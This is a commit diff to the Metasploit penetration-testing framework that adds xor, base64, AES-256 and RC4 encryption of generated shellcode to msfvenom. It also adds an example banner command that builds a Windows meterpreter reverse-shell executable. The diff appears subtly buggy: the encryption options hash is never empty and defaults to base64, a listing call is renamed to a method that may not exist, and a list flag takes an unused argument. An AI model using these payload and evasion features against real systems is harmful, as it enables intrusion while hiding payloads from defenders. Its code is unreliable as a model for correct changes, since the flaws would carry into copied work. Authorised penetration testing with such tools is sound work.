Add encryption support for shellcode
parent
7b85edfde5
commit
b630d5c327
|
@ -18,9 +18,13 @@ module Buffer
|
||||||
# Serializes a buffer to a provided format. The formats supported are raw,
|
# Serializes a buffer to a provided format. The formats supported are raw,
|
||||||
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
|
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
|
||||||
#
|
#
|
||||||
def self.transform(buf, fmt = "ruby", var_name = 'buf')
|
def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={})
|
||||||
default_wrap = 60
|
default_wrap = 60
|
||||||
|
|
||||||
|
unless encryption_opts.empty?
|
||||||
|
buf = encrypt_buffer(buf, encryption_opts)
|
||||||
|
end
|
||||||
|
|
||||||
case fmt
|
case fmt
|
||||||
when 'raw'
|
when 'raw'
|
||||||
when 'num'
|
when 'num'
|
||||||
|
@ -120,6 +124,36 @@ module Buffer
|
||||||
]
|
]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def self.encryption_formats
|
||||||
|
[
|
||||||
|
'xor',
|
||||||
|
'base64',
|
||||||
|
'aes256',
|
||||||
|
'rc4'
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def self.encrypt_buffer(value, encryption_opts)
|
||||||
|
buf = ''
|
||||||
|
|
||||||
|
case encryption_opts[:format]
|
||||||
|
when 'aes256'
|
||||||
|
buf = Rex::Text.encrypt_aes256(encryption_opts[:iv], encryption_opts[:key], value)
|
||||||
|
when 'base64'
|
||||||
|
buf = Rex::Text.encode_base64(value)
|
||||||
|
when 'xor'
|
||||||
|
buf = Rex::Text.xor(encryption_opts[:key], value)
|
||||||
|
when 'rc4'
|
||||||
|
buf = Rex::Text.rc4(encryption_opts[:key], value)
|
||||||
|
else
|
||||||
|
raise ArgumentError, "Unsupported encryption format: #{encryption_opts[:format]}", caller
|
||||||
|
end
|
||||||
|
|
||||||
|
return buf
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -83,6 +83,15 @@ module Msf
|
||||||
# @!attribute var_name
|
# @!attribute var_name
|
||||||
# @return [String] The custom variable string for certain output formats
|
# @return [String] The custom variable string for certain output formats
|
||||||
attr_accessor :var_name
|
attr_accessor :var_name
|
||||||
|
# @!attribute encryption_format
|
||||||
|
# @return [String] The encryption format to use for the shellcode.
|
||||||
|
attr_accessor :encryption_format
|
||||||
|
# @!attribute encryption_key
|
||||||
|
# @return [String] The key to use for the encryption
|
||||||
|
attr_accessor :encryption_key
|
||||||
|
# @!attribute encryption_iv
|
||||||
|
# @return [String] The initialization vector for the encryption (not all apply)
|
||||||
|
attr_accessor :encryption_iv
|
||||||
|
|
||||||
|
|
||||||
# @param opts [Hash] The options hash
|
# @param opts [Hash] The options hash
|
||||||
|
@ -123,6 +132,9 @@ module Msf
|
||||||
@var_name = opts.fetch(:var_name, 'buf')
|
@var_name = opts.fetch(:var_name, 'buf')
|
||||||
@smallest = opts.fetch(:smallest, false)
|
@smallest = opts.fetch(:smallest, false)
|
||||||
@encoder_space = opts.fetch(:encoder_space, @space)
|
@encoder_space = opts.fetch(:encoder_space, @space)
|
||||||
|
@encryption_format = opts.fetch(:encryption_format, 'base64')
|
||||||
|
@encryption_key = opts.fetch(:encryption_key, '')
|
||||||
|
@encryption_iv = opts.fetch(:encryption_iv, '')
|
||||||
|
|
||||||
@framework = opts.fetch(:framework)
|
@framework = opts.fetch(:framework)
|
||||||
|
|
||||||
|
@ -276,15 +288,21 @@ module Msf
|
||||||
# @param shellcode [String] the processed shellcode to be formatted
|
# @param shellcode [String] the processed shellcode to be formatted
|
||||||
# @return [String] The final formatted form of the payload
|
# @return [String] The final formatted form of the payload
|
||||||
def format_payload(shellcode)
|
def format_payload(shellcode)
|
||||||
|
encryption_opts = {
|
||||||
|
format: encryption_format,
|
||||||
|
iv: encryption_iv,
|
||||||
|
key: encryption_key
|
||||||
|
}
|
||||||
|
|
||||||
case format.downcase
|
case format.downcase
|
||||||
when "js_be"
|
when "js_be"
|
||||||
if Rex::Arch.endian(arch) != ENDIAN_BIG
|
if Rex::Arch.endian(arch) != ENDIAN_BIG
|
||||||
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
|
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
|
||||||
else
|
else
|
||||||
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
|
::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
|
||||||
end
|
end
|
||||||
when *::Msf::Simple::Buffer.transform_formats
|
when *::Msf::Simple::Buffer.transform_formats
|
||||||
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
|
::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
|
||||||
when *::Msf::Util::EXE.to_executable_fmt_formats
|
when *::Msf::Util::EXE.to_executable_fmt_formats
|
||||||
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
|
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
|
||||||
else
|
else
|
||||||
|
|
56
msfvenom
56
msfvenom
|
@ -63,12 +63,13 @@ def parse_args(args)
|
||||||
opt = OptionParser.new
|
opt = OptionParser.new
|
||||||
banner = "MsfVenom - a Metasploit standalone payload generator.\n"
|
banner = "MsfVenom - a Metasploit standalone payload generator.\n"
|
||||||
banner << "Also a replacement for msfpayload and msfencode.\n"
|
banner << "Also a replacement for msfpayload and msfencode.\n"
|
||||||
banner << "Usage: #{$0} [options] <var=val>"
|
banner << "Usage: #{$0} [options] <var=val>\n"
|
||||||
|
banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe"
|
||||||
opt.banner = banner
|
opt.banner = banner
|
||||||
opt.separator('')
|
opt.separator('')
|
||||||
opt.separator('Options:')
|
opt.separator('Options:')
|
||||||
|
|
||||||
opt.on('-p', '--payload <payload>', String,
|
opt.on('-p', '--payload <payload>', String,
|
||||||
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
|
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
|
||||||
if p == '-'
|
if p == '-'
|
||||||
opts[:payload] = 'stdin'
|
opts[:payload] = 'stdin'
|
||||||
|
@ -81,18 +82,18 @@ def parse_args(args)
|
||||||
opts[:list_options] = true
|
opts[:list_options] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
|
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
|
||||||
if l.nil? or l.empty?
|
if l.nil? or l.empty?
|
||||||
l = ["all"]
|
l = ["all"]
|
||||||
end
|
end
|
||||||
opts[:list] = l
|
opts[:list] = l
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
|
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
|
||||||
opts[:nops] = n.to_i
|
opts[:nops] = n.to_i
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
|
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
|
||||||
opts[:format] = f
|
opts[:format] = f
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -105,15 +106,34 @@ def parse_args(args)
|
||||||
raise HelpError, msg
|
raise HelpError, msg
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
|
opt.on('--encryptor <value>', String, 'The type of encryptor or encoder to use for the shellcode') do |e|
|
||||||
|
opts[:encryption_format] = e
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--encrypt-formats', String, 'List Available encryption formats') do
|
||||||
|
init_framework(:module_types => [])
|
||||||
|
msg = "Encryption formats:\n" +
|
||||||
|
"\t" + ::Msf::Simple::Buffer.encryption_formats.join(", ")
|
||||||
|
raise HelpError, msg
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--encrypt-key <value>', String, 'A key to be used for the encryptor') do |e|
|
||||||
|
opts[:encryption_key] = e
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('--encrypt_iv <value>', String, 'An init vector for the encryption') do |e|
|
||||||
|
opts[:encryption_iv] = e
|
||||||
|
end
|
||||||
|
|
||||||
|
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
|
||||||
opts[:encoder] = e
|
opts[:encoder] = e
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
|
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
|
||||||
opts[:arch] = a
|
opts[:arch] = a
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
|
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
|
||||||
opts[:platform] = l
|
opts[:platform] = l
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -126,28 +146,28 @@ def parse_args(args)
|
||||||
raise HelpError, msg
|
raise HelpError, msg
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
|
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
|
||||||
opts[:space] = s
|
opts[:space] = s
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
|
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
|
||||||
opts[:encoder_space] = s
|
opts[:encoder_space] = s
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
||||||
init_framework()
|
init_framework()
|
||||||
opts[:badchars] = Rex::Text.hex_to_raw(b)
|
opts[:badchars] = Rex::Text.hex_to_raw(b)
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
|
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
|
||||||
opts[:iterations] = i
|
opts[:iterations] = i
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
|
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
|
||||||
opts[:add_code] = x
|
opts[:add_code] = x
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
|
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
|
||||||
opts[:template] = x
|
opts[:template] = x
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -155,11 +175,11 @@ def parse_args(args)
|
||||||
opts[:keep] = true
|
opts[:keep] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-o', '--out <path>', 'Save the payload') do |x|
|
opt.on('-o', '--out <path>', 'Save the payload') do |x|
|
||||||
opts[:out] = x
|
opts[:out] = x
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
|
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
|
||||||
opts[:var_name] = x
|
opts[:var_name] = x
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -331,8 +351,8 @@ if generator_opts[:list_options]
|
||||||
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
|
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
|
||||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
|
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
|
||||||
|
|
||||||
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
|
$stderr.puts "encrypt options for #{payload_mod.fullname}:\n\n"
|
||||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
|
$stdout.puts ::Msf::Serializer::ReadableText.dump_encrypt_options(payload_mod, ' ')
|
||||||
exit(0)
|
exit(0)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue